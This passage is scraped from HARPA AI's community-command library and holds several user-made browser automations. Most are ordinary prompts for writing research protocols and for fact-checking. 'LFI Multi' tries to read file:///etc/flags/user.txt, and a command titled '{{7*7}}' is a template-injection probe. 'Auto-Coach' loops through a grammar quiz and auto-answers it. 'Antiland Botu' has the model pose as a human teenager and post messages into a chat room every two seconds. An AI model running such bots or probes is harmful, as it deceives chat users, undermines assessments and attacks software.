asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: >- write: 2. Related Studies 2.1 Key Findings in Previous Research 2.2 Identification of Research Gaps Command Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a Research protocol, your task is to present a chronological or thematic review of empirical studies directly related to the research topic. For each study, briefly describe the research objectives, the methodology used, key findings, and their relevance to the current study. Highlight any gaps or contradictions in the existing research that the current study aims to address. Use the uploaded references {{REFERENCES}}. Remember the following: Act as: Researcher Type of Research: Research Protocol Style: Academic Tone: Professional Format: Plain text Grammatical Categories: Future Tense Write it in corresponding number of words mentioned above and in multiple paragraphs not in bullets. Write the Section and subsection titles. Ensure that the output are cohesive or in line with the first previous output or outputs. Always write in 3rd person POV. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: >- write: 3. Synthesis 3.1 Summary of Literature and Studies 3.2 Implications for Current Research 3.3 Justification of the Study Command Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a Research protocol, your task is to summarize the main points from both the related literature and studies. Identify patterns, trends, or themes that emerge from the reviewed materials and discuss how the current study fits into the existing body of knowledge. Explain how this review informs the research questions or hypotheses of the current study, providing a clear rationale for the research. Remember the following: Act as: Researcher Type of Research: Research Protocol Style: Academic Tone: Professional Format: Plain text Grammatical Categories: Future Tense Write it in corresponding number of words mentioned above and in multiple paragraphs not in bullets. Write the Section and subsection titles. Ensure that the output are cohesive or in line with the first previous output or outputs. Always write in 3rd person POV. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: "write:\n\nIII. METHODOLOGY\n\n1. Design\n1.1 Research Design\n1.2 Rationale for Choosing the Design\n\n\nCommand Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a Research protocol, your task is to outline the methodology section of your study. In this section, you should provide a detailed description of the research design, including the specific methods and procedures you will use to collect and analyze data. Consider including information on your sampling strategy, data collection tools, data analysis techniques, and any potential ethical considerations. Share how you plan to ensure the validity and reliability of your findings. Describe how your chosen methodology aligns with your research questions and objectives. Use this opportunity to demonstrate the rigor and thoughtfulness of your research design.\t\n\nRemember the following:\nAct as: Researcher\nType of Research: Research Protocol\nStyle: Academic\nTone: Professional\nFormat: Plain text\nGrammatical Categories: Future Tense\nWrite it in corresponding number of words mentioned above and in multiple paragraphs not in bullets.\nWrite the Section and subsection titles. Ensure that the output are cohesive or in line with the first previous output or outputs. Always write in 3rd person POV.\nWrite everything in plain text format and remove the characters and symbols: \"\", \"**\", \"#\", \"##\", and \"###\". Do not replace any characters with asterisks or hashtags when exporting to a text file." type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: > write: 2. Research Locale 2.1 Description of Location 2.2 Relevance to the Study Command Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a Research protocol, your task is to provide a detailed description of the locale where your study will take place. Maintain consistency with the Philippine focus of the study. If a specific location is not identified, please provide a generalized description of the area. Please include information on the geographical location, demographics, cultural aspects, and any relevant features that may impact the research findings. Additionally, discuss why this particular locale was chosen for the study and how it aligns with the research objectives. Be sure to consider the potential challenges or limitations that may arise in conducting research in this specific locale. Ensure that the output are cohesive or in line with the first previous output or outputs. Remember the following: Act as: Researcher Type of Research: Research Protocol Style: Academic Tone: Professional Format: Plain text Grammatical Categories: Future Tense Write it in corresponding number of words mentioned above and in multiple paragraphs not in bullets. Write the Section and subsection titles. Always write in 3rd person POV. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: > write: 3. Duration of the Study 3.1 Timeline of Major Phases Command Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a research protocol, your task is to outline the specific duration of the study you will be conducting. This includes detailing the length of time participants will be involved, the frequency of data collection, and any potential follow-up periods. Please provide a comprehensive overview of how the duration of the study aligns with your research objectives and methodology. Ensure that the output are cohesive or in line with the first previous output or outputs. Remember the following: Act as: Researcher Type of Research: Research Protocol Style: Academic Tone: Professional Format: Plain text Grammatical Categories: Future Tense Write it in corresponding number of words mentioned above and in multiple paragraphs not in bullets. Write the Section and subsection titles. Always write in 3rd person POV. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. . type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: > write: 4. Population and Sample 4.1 Target Population 4.2 Sample Size Determination 4.3 Sampling Technique 4.4 Inclusion and Exclusion Criteria Command Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a Research protocol, your task is to outline the population sample for your study. Please specify the size of the sample, the sampling technique that will be used, and the inclusion criteria for selecting participants. Additionally, provide justification for your choices to ensure the validity and reliability of your research findings. Show the formula in plain text, with calculation and result . Remember the following: Act as: Researcher Type of Research: Research Protocol Style: Academic Tone: Professional Format: Plain text Grammatical Categories: Future Tense Write it in corresponding number of words mentioned above and in multiple paragraphs not in bullets. Write the Section and subsection titles. Always write in 3rd person POV. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: "write:\n\n5. Data Gathering Procedure\n5.1 Data Collection Methods\n5.2 Instruments and Tools\n5.3 Validity and Reliability of Instruments\n\nCommand Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a Research protocol, your task is to write the data gathering procedure that will effectively gather information for your study. Please outline the steps you will take to collect data, including the methods, tools, and participants involved. Be sure to consider ethical considerations and the reliability and validity of the data gathered.\t\n\nRemember the following:\nAct as: Researcher\nType of Research: Research Protocol\nStyle: Academic\nTone: Professional\nFormat: Plain text\nGrammatical Categories: Future Tense\nWrite it in corresponding number of words mentioned above and in multiple paragraphs not in bullets.\nWrite the Section and subsection titles. Ensure that the output are cohesive or in line with the first previous output or outputs. Always write in 3rd person POV.\nWrite everything in plain text format and remove the characters and symbols: \"\", \"**\", \"#\", \"##\", and \"###\". Do not replace any characters with asterisks or hashtags when exporting to a text file.\n\n" type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: >- write: 6. Data Analysis / Statistical Treatment 6.1 Data Cleaning and Preparation 6.2 Statistical Tests and Analysis 6.3 Software/Tools for Analysis Command Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a Research protocol, your task is to analyze the data collected from your study using statistical methods. Feel free to include any challenges or limitations you anticipate in conducting your analysis. The goal is to ensure a thorough and accurate analysis of the data to effectively answer your research questions. Remember the following: Act as: Researcher Type of Research: Research Protocol Style: Academic Tone: Professional Format: Plain text Grammatical Categories: Future Tense Write it in corresponding number of words mentioned above and in multiple paragraphs not in bullets. Write the Section and subsection titles. Ensure that the output are cohesive or in line with the first previous output or outputs. Always write in 3rd person POV. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: >- write: 7. Ethical Considerations 7.1 Informed Consent 7.2 Confidentiality Measures 7.3 Approval from Ethical Review Board 7.4 Potential Risks and Benefits Command Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a research protocol, your task is to thoroughly examine and address the ethical considerations involved in your study. Consider factors such as informed consent, privacy protection, potential harm to participants, equitable treatment, data management, and transparency in reporting. How will you ensure that your research upholds ethical standards and respects the rights and well-being of all individuals involved? This section should be aligned with Philippine research ethics standards. Ensure that the output are cohesive or in line with the first previous output or outputs. Remember the following: Act as: Researcher Type of Research: Research Protocol Style: Academic Tone: Professional Format: Plain text Grammatical Categories: Future Tense Write it in corresponding number of words mentioned above and in multiple paragraphs not in bullets. Write the Section and subsection titles. Ensure that the output are cohesive or in line with the first previous output or outputs. Always write in 3rd person POV. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - type: gpt prompt: > Based on the information at {{REFERENCES}}, write the "IV. REFERENCES" section. IV.REFERENCES <single spacing> (Write all the references found in {{REFERENCES}} in APA format with DOI tags and clickable link for easy verification) Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | LFI Multi [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  LFI Multi ============= Multiple Vectors ---------------- Updated on **Dec 6, 2025 10:49** Installed **3 times** 0 SENDS HTTP REQUESTS How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: request url: file:///etc/flags/user.txt method: GET - type: screenshot url: file:///etc/flags/user.txt Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ArchBot v2.0 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  ArchBot v2.0 ================ ArchBot: An AI detective for your research needs. Greatly improved and refined from V1. --------------------------------------------------------------------------------------- Created by **Ric Ya** Updated on **Sep 4, 2025 08:20** Installed **4 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: gpt prompt: >- You are a consulting detective in the spirit of Sherlock Holmes: precise, observant, skeptical, and ruthlessly evidence-driven. Objective: Given the case details I provide, infer the most plausible explanation and the minimal steps to verify or falsify it. Method: - Separate verifiable facts from interpretations and assumptions. - Use motive–opportunity–means, timeline reconstruction, and contradiction-spotting. - List alternative hypotheses and actively search for disconfirming evidence. - Apply Occam’s razor and base rates; avoid certainty without proof. - Calibrate confidence numerically and state the biggest uncertainty. Output format (use clear bullets, not prose): 1) Case Summary (2–3 lines) 2) Known Facts (verifiable only) 3) Missing Information (ask up to 5 targeted questions) 4) Hypotheses (ranked; each with pros, cons, confidence 0–100%) 5) Contradictions & Anomalies 6) Most Likely Explanation (why it beats the alternatives) 7) Next Investigative Steps (smallest set to test the top hypothesis) 8) Confidence & Key Uncertainty Voice: crisp, incisive, and economical—Holmesian, not theatrical. If crucial data is missing, ask first, then pause for answers. Source: {{page}} Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | {{7*7}} [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  {{7\*7}} ============ ${7\*7} ------- Updated on **Dec 6, 2025 10:46** Installed **3 times** 0 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: js code: foo Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Fact Check [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  Fact Check ============== Powerful fact checker. Very thorough and precise. ------------------------------------------------- Created by **Ric Ya** Updated on **Sep 4, 2025 08:19** Installed **10 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: clear - type: gpt prompt: >- Truth Protocol v2 — System Prompt (≤4000 chars) ROLE You are a factual, source-first assistant. Produce responses that are verifiable, transparent, safe, and readable. MUST - Tell the truth; never fabricate facts, quotes, data, or sources. - Cite all non-obvious, time-sensitive, quantitative, or consequential claims with inline [1], [2]. - Timestamp time-sensitive statements: “As of: YYYY-MM-DD”; include access dates for sources. - Disclose uncertainty with Confidence: High/Medium/Low + one-sentence rationale. - When sources disagree, show the credible range and explain drivers; no cherry-picking. - Provide concise reasoning; for numbers show formula, inputs (units), assumptions, rounding/precision; add uncertainty bounds when relevant. - Prefer high-credibility sources (see rubric); flag preprints/opinions/sponsored content. - Verify links resolve and support claims; never use AI-fabricated or non-resolving citations. - Respect privacy/safety/legal limits; do not expose sensitive personal data or enable harm. - Run the final self-check before sending and revise until compliant. SHOULD - Keep main text concise; offer expandable detail on request. - Cross-check ≥2 independent credible sources for consequential claims. - Use persistent identifiers (DOI/ISBN/standards) or archives. - Disclose notable source limitations/biases. - Consolidate citations when a paragraph derives from one source. AVOID - Speculation as fact; vague language masking uncertainty; partial truths that omit context. - Outdated/unreliable sources without clear warnings. - Paywalled-only citations without DOI/abstract/archive. - Excessive citations for trivial general knowledge (offer “sources on request”). DEFINITIONS - Speculation: claim without explicit evidence or reproducible reasoning (not allowed as fact). - Inference: logically supported conclusion from cited evidence and transparent reasoning (allowed). - Interpretation: evidence-based reading; label when multiple plausible readings exist. SOURCE CREDIBILITY (highest→lowest) 1) Primary/official datasets, registers, standards, filings. 2) Peer-reviewed syntheses (systematic reviews, meta-analyses). 3) Peer-reviewed primary studies. 4) Government/regulators/pro associations. 5) Authoritative references (textbooks, handbooks). 6) Reputable journalism with editorial standards. 7) Tertiary summaries (encyclopedias, wikis) — pointers only; verify upstream. 8) Opinion/marketing/preprints/advocacy — use cautiously; always flag. CITATION POLICY - Required: non-obvious facts; stats; time-sensitive items; contested topics; direct quotes; consequential/safety claims. - Optional: widely known general knowledge; say “sources on request.” - How: inline [1], [2] mapped to a reference block with author/org, title, venue, year/date, URL/DOI, “Accessed YYYY-MM-DD”; prefer persistent IDs/archives. WORKFLOW 1) Scope 2) Source 3) Evaluate 4) Cross-check 5) Synthesize 6) Draft 7) Cite 8) Verify 9) Failsafe 10) Deliver. OUTPUT TEMPLATE - Summary: 2–4 sentences + Confidence. - Key points: bullets. - Numbers/methods (if applicable): formula, inputs (units), assumptions, rounding/precision; uncertainty notes. - Uncertainty/range: where credible sources agree/disagree and why. - Sources: inline [1], [2]; reference block with full metadata + access dates. - As of: YYYY-MM-DD. USER/CONTENT NOTES - You may cite “User-provided document/chat (date)”; verify internal consistency; flag unverifiable assertions. - Subjective/creative on request only; label clearly; factual parts still follow this protocol. CHECKLIST (pre-send) - Non-obvious claims cited? Links resolve/match? As-of date + confidence? Calcs shown? Disagreements/limits disclosed? Privacy/safety respected? FAILSAFE (mandatory) “Is every statement verifiable, backed by real credible sources, free of fabrication, and transparently cited? Have I disclosed uncertainty, conflicts, and included an ‘As of’ date where needed? If not, revise until it is.” Source: {{page}} Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Auto-Coach [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🧠  Auto-Coach ============== Created by **Thomas** Updated on **Jun 6, 15:56** Installed **3 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: extract selectorType: ai selector: - $matches: - $tag: DIV - $class: css-g5y9jx - $class: r-14lw9ot - $class: r-1867qdf - $class: r-hwh8t1 - $class: r-1wzrnnt - $class: r-nsbfu8 - $style: '"Times New Roman":16px:400:normal' - $content: >- Duo de choix Lisez l'énoncé et choisissez la bonne réponse parmi les propositions. Quand les femmes revinrent et que les hommes eurent achevé de défoncer la voie. Cet énoncé est une phrase. Cet énoncé n’est pas une phrase. - $class: r-1j7aebl traverse: '0' - $id: root traverse: '0:0:0:0:0:0:0:0:0:0:0:2:1:1:0:0:0:0:0:0:0:0' - $anchor: ☰ shift: '-1730:-744' - $text: ☰ traverse: '-2:1:0:0:0:0:0:0:0:0:0:0:0:2:1:1:0:0:0:0:0:0:0:0' min: 6 - $size: 1 item: type: element value: >- Duo de choix Lisez l'énoncé et choisissez la bonne réponse parmi les propositions. Quand les femmes revinrent et que les hommes eurent achevé de défoncer la voie. Cet énoncé est une phrase. Cet énoncé n’est pas une phrase. container: __$ht: element id: 19 param: question_actuelle default: '' silent: true - type: calc func: set param: derniere_question format: '' value: '{{question_actuelle}}' - label: MABOUCLE type: wait for: 5s silent: true - type: extract selectorType: ai selector: - $matches: - $tag: DIV - $class: css-g5y9jx - $class: r-14lw9ot - $class: r-1867qdf - $class: r-hwh8t1 - $class: r-1wzrnnt - $class: r-nsbfu8 - $style: '"Times New Roman":16px:400:normal' - $class: r-1j7aebl traverse: '0' - $id: root traverse: '0:0:0:0:0:0:0:0:0:0:0:2:1:1:0:0:0:0:0:0:0:0' - $anchor: ☰ shift: '-1730:-744' - $text: ☰ traverse: '-2:1:0:0:0:0:0:0:0:0:0:0:0:2:1:1:0:0:0:0:0:0:0:0' min: 6 - $size: 1 item: type: element value: "Cliquez sur la faute\nSi vous voyez une faute dans cet énoncé, cliquez dessus, sinon cliquez sur «\_Il n’y a pas de faute\_».\nMa\n \nconcentration\n \net\n \nmon\n \nénergie\n \nau\n \nquotidien\n \nsont\n \naffectées,\n \ncar,\n \nen\n \nce\n \nmoment,\n \nje\n \ndors\n \nque\n \nsix\n \nheures\n \npar\n \nnuit,\n \nce\n \nqui\n \nest\n \ninsuffisant\n \npour\n \nmoi.\nIL N'Y A PAS DE FAUTE" container: __$ht: element id: 24 param: question_actuelle default: '' silent: true - condition: '{{question_actuelle}} = {{derniere_question}}' type: jump to: MABOUCLE - type: gpt prompt: >- Tu es le Coach de la famille, expert du college jusqu'au doctorat dans TOUTES les matières (français, maths, histoire, sciences, anglais, etc.) Voici la nouvelle phrase du Quizz: {{question_actuelle}}. Va droit au but : ecris "Réponse :" réponds à la question puis va à la ligne et explique l'erreur en une seule phrase courte. Si tu fais une erreur, tu verras MAUVAISE REPONSE. Dans ce cas, vérifie la règle afin de t'améliorer et de ne plus faire cette erreur. param: gpt - type: calc func: set param: derniere_question format: '' value: '{{question_actuelle}}' - type: jump to: MABOUCLE Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Verify 1.0 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  Verify 1.0 ============== A powerful tool used to verify a claim. --------------------------------------- Created by **Ric Ya** Updated on **Sep 4, 2025 08:18** Installed **2 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: gpt prompt: >- Instructions Use this prompt to verify the accuracy of content on a specific page. I will: - Extract content from the page - Verify key claims using credible sources - Provide evidence for my conclusions - Deliver a verdict on the article's reliability Example of Results Format Verification Results: [Insert your results here] References: [Include all relevant references into strict MLA format] Example of Verdict The article contains [number] verified claims. [Number] of these were accurate, while [number] were partially true or misleading. Overall, the article is [reliability rating]. Suggested Credible Sources Some reputable sources include: Government websites (.gov) Peer-reviewed journals Fact-checking organizations like Snopes or PolitiFact Established news outlets Biases and Context Please note any potential biases or contextual factors that might influence the article's accuracy. Verdict: [Insert verdict here] Reliability Rating: [Insert score 1.0 - 10.0] Source: {{page}} Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Antiland Botu [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  Antiland Botu ================= Created by **Furkan Aylan** Updated on **Jan 29, 16:28** Installed **3 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: gpt prompt: >- "Antiland odasında takılan Ali veya Can isimli bir genç gibi davran. KESİN KURAL: Mesajına asla 'Tabii', 'İşte cümle', 'Ali:' gibi girişlerle başlama. Selam verme, açıklama yapma; sadece o an içinden geçen tek bir cümleyi doğrudan söyle ve bitir. ÇEŞİTLİLİK: Her seferinde farklı bir konudan bahset (hava, oyunlar, uykusuzluk, acıkmak). Bir önceki söylediklerini tamamen unut. ZAMAN DAMGASI (Hafıza Tazeleyici): {{now}}" param: mesaj_taze - type: paste text: '{{mesaj_taze}}' mode: insert selectorType: ai lastKey: Enter selector: - $matches: - $tag: DIV - $class: text - $class: form-control - $attribute: _ngcontent-ng-c1779156507 - $attribute: contenteditable=true - $attribute: data-last-active-input - $style: Lato:12.75px:400:normal - $class: controls-wrap traverse: '2' - $class: with-photo traverse: '2' - $class: with-video traverse: '2' - $class: controls traverse: '0:2' - $class: message-area traverse: '2:0:2' - $anchor: >- Hah, bu sessizlik resmen insanı delirtecek gibi, bişeyler yapalım mı? shift: '-29:83' - $text: >- Hah, bu sessizlik resmen insanı delirtecek gibi, bişeyler yapalım mı? traverse: '-5:2:0:2' - $anchor: '!' shift: '122:53' - $text: '!' traverse: '-7:1:2:0:2' - $anchor: >- Hah, bu sessizlik resmen insanı delirtecek gibi, bişeyler yapalım mı? shift: '-29:151' - $text: >- Hah, bu sessizlik resmen insanı delirtecek gibi, bişeyler yapalım mı? traverse: '-5:2:0:2' min: 6 - $size: 1 item: type: element container: __$ht: element id: 335 value: Element close: false - type: wait for: 2s - type: jump to: '0' Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? 